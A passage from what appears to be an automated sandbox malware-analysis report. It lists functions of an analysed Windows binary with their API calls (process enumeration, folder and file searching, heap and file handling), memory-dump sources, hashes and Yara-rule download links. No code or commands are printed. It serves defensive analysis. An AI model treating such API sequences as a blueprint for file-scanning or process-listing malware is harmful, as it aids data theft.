                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
                                    • String ID:
                                    • API String ID: 1066202413-0
                                    • Opcode ID: 0bbbba80f765bef06b325c88807a7307850af01cb0c2e73b2e03bbcbbe9ce20a
                                    • Instruction ID: 092d9a72cfbae72fa0941ec26da3da73c6ce20bc29838bfc650c6f94804377cf
                                    • Opcode Fuzzy Hash: 0bbbba80f765bef06b325c88807a7307850af01cb0c2e73b2e03bbcbbe9ce20a
                                    • Instruction Fuzzy Hash: 4C314DB1901258AFCB24EF96CC51FEEB778EB45700F1041A9F10EA61A0DB306A44DFA1
                                    Function 00D4FDF7 Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D4FE13
                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D4FE2C
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Value___vcrt_
                                    • String ID:
                                    • API String ID: 1426506684-0
                                    • Opcode ID: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                    • Instruction ID: 9b22f8edfa1dc0110154a17cac18c52c2ed431443296e05b321148e91fe419c8
                                    • Opcode Fuzzy Hash: 78a688fa4b1a268c6419ddf2d244e6a3897435511f5bfa7c2bb3e66ac9c61958
                                    • Instruction Fuzzy Hash: 89017136109721AFFE3427789CC9A6A2694EB017B7738433AF916851F2EF528C459170
                                    Function 00CE7B10 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CF0DE8,00000000,?), ref: 00CE7B40
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE7B47
                                    • GetLocalTime.KERNEL32(?,?,?,?,?,00CF0DE8,00000000,?), ref: 00CE7B54
                                    • wsprintfA.USER32 ref: 00CE7B83
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Heap$AllocateLocalProcessTimewsprintf
                                    • String ID:
                                    • API String ID: 377395780-0
                                    • Opcode ID: 2fad944707f92bfa41ee52e9ffca0ba6d7758074257317b2792f972132fb599a
                                    • Instruction ID: 3096ee175325cee1f873daeedb77801de2681baf85629b0c53809f75a27095fc
                                    • Opcode Fuzzy Hash: 2fad944707f92bfa41ee52e9ffca0ba6d7758074257317b2792f972132fb599a
                                    • Instruction Fuzzy Hash: 79112EB2908218ABCB14DBCADD45FBFB7F8EB4DB11F10411AF605A2280D3395940D770
                                    Function 00CE9470 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON
                                    Download Yara Rule
                                    APIs
                                    • CreateFileA.KERNEL32(00CE3D3E,80000000,00000003,00000000,00000003,00000080,00000000,?,00CE3D3E,?), ref: 00CE948C
                                    • GetFileSizeEx.KERNEL32(000000FF,00CE3D3E), ref: 00CE94A9
                                    • CloseHandle.KERNEL32(000000FF), ref: 00CE94B7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: File$CloseCreateHandleSize
                                    • String ID:
                                    • API String ID: 1378416451-0
                                    • Opcode ID: d7396aeb0a3cf05d743b05cde530ccd6a5e0b2f3e892c8808af726ae7318bed3
                                    • Instruction ID: 0021574987ee0e6be6b03b345d9a2badd09ec207b240c97165f0468a140b463e
                                    • Opcode Fuzzy Hash: d7396aeb0a3cf05d743b05cde530ccd6a5e0b2f3e892c8808af726ae7318bed3
                                    • Instruction Fuzzy Hash: 9EF04F79E04308BBDB10EFB1EC49F9E77B9EB48710F10C654FA11A72C0D67096019B80
                                    Function 00CECA72 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    • __getptd.LIBCMT ref: 00CECA7E
                                      • Part of subcall function 00CEC2A0: __amsg_exit.LIBCMT ref: 00CEC2B0
                                    • __getptd.LIBCMT ref: 00CECA95
                                    • __amsg_exit.LIBCMT ref: 00CECAA3
                                    • __updatetlocinfoEx_nolock.LIBCMT ref: 00CECAC7
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
                                    • String ID:
                                    • API String ID: 300741435-0
                                    • Opcode ID: ce829a8cd8ebb0916a8745c13a7772289ad95f6737e128da766fd507dac649c3
                                    • Instruction ID: 675efb8b2ee6a3a3cc76fdaa883f07d35f366ae898a9d70bd776ff135df4ee1e
                                    • Opcode Fuzzy Hash: ce829a8cd8ebb0916a8745c13a7772289ad95f6737e128da766fd507dac649c3
                                    • Instruction Fuzzy Hash: 3FF02432A403989BD720FBBB988376F33A0AF00724F110159F114AA1D2CF205D42FB92
                                    Function 00D504D3 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Catch
                                    • String ID: MOC$RCC
                                    • API String ID: 78271584-2084237596
                                    • Opcode ID: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                    • Instruction ID: 472c7b470f6a9710d231e6f1ad5377b720f06c4d0e43031e22e3a46ca003a4cf
                                    • Opcode Fuzzy Hash: 0af11e6eed5334c4ff19d0facd52f0310ea7249913ed55efd4c21f0934d53438
                                    • Instruction Fuzzy Hash: 11414871900209AFDF16DF98DC81AEEBBB5FF48305F188199FE04A6261E3359A54DF60
                                    Function 00CE5190 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CE8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CE8F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE51CA
                                    • lstrcat.KERNEL32(?,00CF1058), ref: 00CE51E7
                                    • lstrcat.KERNEL32(?,01598960), ref: 00CE51FB
                                    • lstrcat.KERNEL32(?,00CF105C), ref: 00CE520D
                                      • Part of subcall function 00CE4B60: wsprintfA.USER32 ref: 00CE4B7C
                                      • Part of subcall function 00CE4B60: FindFirstFileA.KERNEL32(?,?), ref: 00CE4B93
                                      • Part of subcall function 00CE4B60: StrCmpCA.SHLWAPI(?,00CF0FC4), ref: 00CE4BC1
                                      • Part of subcall function 00CE4B60: StrCmpCA.SHLWAPI(?,00CF0FC8), ref: 00CE4BD7
                                      • Part of subcall function 00CE4B60: FindNextFileA.KERNEL32(000000FF,?), ref: 00CE4DCD
                                      • Part of subcall function 00CE4B60: FindClose.KERNEL32(000000FF), ref: 00CE4DE2
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
                                    • String ID:
                                    • API String ID: 2667927680-0
                                    • Opcode ID: 4fb6be0a2dfe43925ef8771bdd0d754760db44ee64ca895472d8034e99601362
                                    • Instruction ID: 99ddfa73a30623c9d19be433e74903de43b9c2f2ed413776f0ea6941adc0b203
                                    • Opcode Fuzzy Hash: 4fb6be0a2dfe43925ef8771bdd0d754760db44ee64ca895472d8034e99601362
                                    • Instruction Fuzzy Hash: C821FCF690020CABCB54FBB0EC42EED333C9B55700F004594B65996191FE749ACC9FA1